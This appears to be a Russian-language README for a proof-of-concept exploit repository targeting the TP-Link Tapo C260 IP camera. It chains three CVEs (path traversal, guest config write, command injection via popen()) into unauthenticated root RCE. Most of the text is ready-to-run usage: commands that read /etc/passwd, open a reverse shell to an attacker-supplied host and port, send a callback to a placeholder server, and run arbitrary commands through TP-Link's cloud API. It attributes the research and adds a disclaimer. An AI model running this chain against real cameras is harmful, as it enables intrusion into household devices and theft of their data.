
PoC-эксплойт-цепочка для камеры TP-Link Tapo C260 — CVE-2026-0651/0652/0653. Исследование от @spaceraccoon.
Proof-of-concept эксплойт-цепочка для IP-камеры TP-Link Tapo C260, обеспечивающая RCE от неавторизованного пользователя до root путём объединения трёх уязвимостей, обнаруженных Юджином Лимом (Spaceraccoon).
Все исследования и обнаружение уязвимостей выполнены Юджином Лимом (@spaceraccoon).
Этот репозиторий — PoC-реализация на основе его публичного отчёта. Если вы нашли это полезным, купите его книгу: From Day Zero to Zero Day: A Hands-On Guide to Vulnerability Research (No Starch Press).
| CVE | Тип | Воздействие |
|---|---|---|
| CVE-2026-0651 | Path Traversal / Раскрытие локальных файлов | Чтение произвольных файлов через /%2e%2e%2f в обработчике HTTP GET |
| CVE-2026-0652 | Произвольная запись конфигурации | Пользователи уровня guest могут записывать в любой путь конфигурации через манипуляцию JSON-ключами в облачном API |
| CVE-2026-0653 | Инъекция команд / Повышение привилегий | set_region_code_handle передаёт неочищенное значение конфигурации dev_name в popen() |
LFD (чтение конфигурации устройства) --> Запись конфигурации (отравление dev_name) --> Запуск обработчика region code --> popen() --> shell
git clone https://github.com/<you>/tapo-c260-rce.git
cd tapo-c260-rce
pip install -r requirements.txt
Чтение произвольных файлов с камеры в локальной сети:
python lfd.py --host 192.168.1.100 --token <stok_token> --file /etc/passwd
# Reverse shell
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--lhost <YOUR_IP> \
--lport 4444
# Только callback (curl ping)
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--callback http://your-server.com/pwned
# Произвольная команда
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--cmd "id > /tmp/pwned"
Отравление — Отправляется запрос setLedStatus с изменёнными JSON-ключами, который записывает полезную нагрузку с метасимволами shell в путь конфигурации tp_manage/info/dev_name на устройстве.
Запуск — Отправляется запрос set_region_code. Обработчик считывает dev_name из конфигурации и подставляет его в вызов popen() без санитизации, выполняя внедрённую команду.
Shell — Атакующий получает callback или reverse shell.
/bin/mainЭтот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам незаконен. Авторы не несут ответственности за неправомерное использование. Всегда получайте явное разрешение перед тестированием любого устройства, которое вам не принадлежит.